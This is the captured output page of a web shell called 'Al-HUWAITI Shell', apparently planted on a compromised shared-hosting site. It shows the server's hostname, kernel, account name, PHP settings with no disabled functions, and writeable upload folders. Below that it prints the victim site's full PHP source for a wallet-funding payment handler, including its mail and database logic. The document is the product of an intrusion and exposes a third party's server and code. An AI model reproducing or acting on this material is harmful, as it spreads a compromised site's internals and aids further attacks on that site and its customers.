Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/fund_result.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
 include("headerstrict.php"); ?>
<title><?php echo $company_name; ?> - Payment Result</title>
<?php 
if (isset($_POST['fund'])){
	$wallet_id = mysqli_real_escape_string($con,$_POST['wallet_id']);
	$fund_amount = mysqli_real_escape_string($con,$_POST['fund_amount']);
	$account = mysqli_real_escape_string($con,$_POST['account']);
	$account_number = mysqli_real_escape_string($con,$_POST['account_number']);
	$transaction_date = date('Y-m-d H:i:s');

	$stmt_n = $con -> prepare('SELECT * FROM users WHERE user_id=?'); 
	$stmt_n -> bind_param('s',$user_id_db);
	$stmt_n -> execute(); 
	$stmt_n -> store_result(); 
	$stmt_n -> bind_result($id,$user_id,$first_name,$last_name,$email,$passwos,$phone,$address,$date_signed_up); 
	$numrows_n = $stmt_n -> num_rows();
	if($numrows_n > 0){
		$signed_in="Yes";
		while ($stmt_n -> fetch()) { }
	}

	$stmt_asake = $con -> prepare('SELECT id FROM wallet WHERE wallet_id=?'); 
	$stmt_asake -> bind_param('s',$wallet_id);
	$stmt_asake -> execute(); 
	$stmt_asake -> store_result(); 
	$numrows_asake = $stmt_asake -> num_rows();
	if($numrows_asake < 1){

		//send email
$subject ="$first_name $last_name funded their wallet";
$message1="";
$message1 .= "
<div style='font-family:Calibri;'>
	Name - <b>$first_name $last_name</b><br/>
	Email - <b>$email</b><br/>
	Amount - <b>$currency$fund_amount</b><br/>
	Date - <b>$transaction_date</b><br/>
	Payment Method - <b>$account - $account_number</b><br/><br>
	Log in to the admin panel and approve this wallet deposit AFTER the transfer has been confirmed. You can do so <a href='$link/$admin_no/wallet_details.php?wallet=$wallet_id'>here</a>
</div>
";
date_default_timezone_set('Africa/Lagos');
require 'PHPMailer/src/PHPMailer.php'; 
require 'PHPMailer/src/SMTP.php'; 
require 'PHPMailer/src/Exception.php';

$mail = new PHPMailer();
$mail->IsSMTP(); // telling the class to use SMTP
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->Host = "smtp.titan.email"; // sets the SMTP server
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Set encryption to STARTTLS
	$mail->Port = 587; // Use port 587 for TLS
$mail->Username = "$no_reply_email"; // SMTP account username
$mail->Password = "$no_reply_password"; // SMTP account password
$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("<html><body>$message1</body></html>");
$mail->AddAddress("$company_email", 'Payment Page');//Send the message to yourself, or whoever should receive contact for submissions
 
//$mail->AddAttachment(""); // attachment

	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP!";

	

	}
	//email an autoresponse to the person too
	$mail->clearAddresses();
	$mail->clearReplyTos();
			$subject = "Your wallet will soon be funded";
			$message="";
			$button_link="$link/sign_in.php";
			$button_text="Log in";
			$email_topic="Your wallet will soon be funded.";
			include("email_header.php");
			$message .=	"
			Dear $first_name,<br/><br/>
			
			Thank you for shopping up with us at $company_name.Your wallet will be credited as soon as the bank transfer is confirmed.<br/>If you have any questions please contact our dedicated support staff at $company_email<br/><br/>
			The $company_name Team.<br/><br/>
			";
				
			$message.="$email_logo<br/><br/>
			";
			include("email_footer.php");
$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("$message");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP.";
	}
	
	//send  notification
	$content ="Your wallet will soon be credited";
	$sender ="System";
	$receiver = "$user_id";
	$seen ="No";
	$date_notification = date("D,dS M, Y g:ia");
	
	mysqli_query($con,"INSERT INTO notifications VALUES(
	'0',
	'$content',
	'$sender',
	'$receiver',
	'$seen',
	'$date_notification'
	)")or die(mysqli_error($con));

$db_id=0; $order_id=""; $amount_remaining=0; $type="Credit"; $action="$account - $account_number"; $success = "Success"; $pending='Pending'; $date_wallet = date('Y-m-d H:i:s');
$stmt_wa = $con -> prepare('INSERT INTO wallet VALUES (?,?,?,?,?,?,?,?,?,?)');
$stmt_wa -> bind_param('isssssssss', $db_id,$wallet_id,$user_id,$order_id,$fund_amount,$amount_remaining,$type,$action,$pending,$date_wallet);
$stmt_wa -> execute();

//create a session to verify it's coming from here
$_SESSION["action"] = "true";
$message="Your wallet will be credited soon.";
echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=your_account.php&m=$message\">";


	}
}
?>

Al-HUWAITI Shell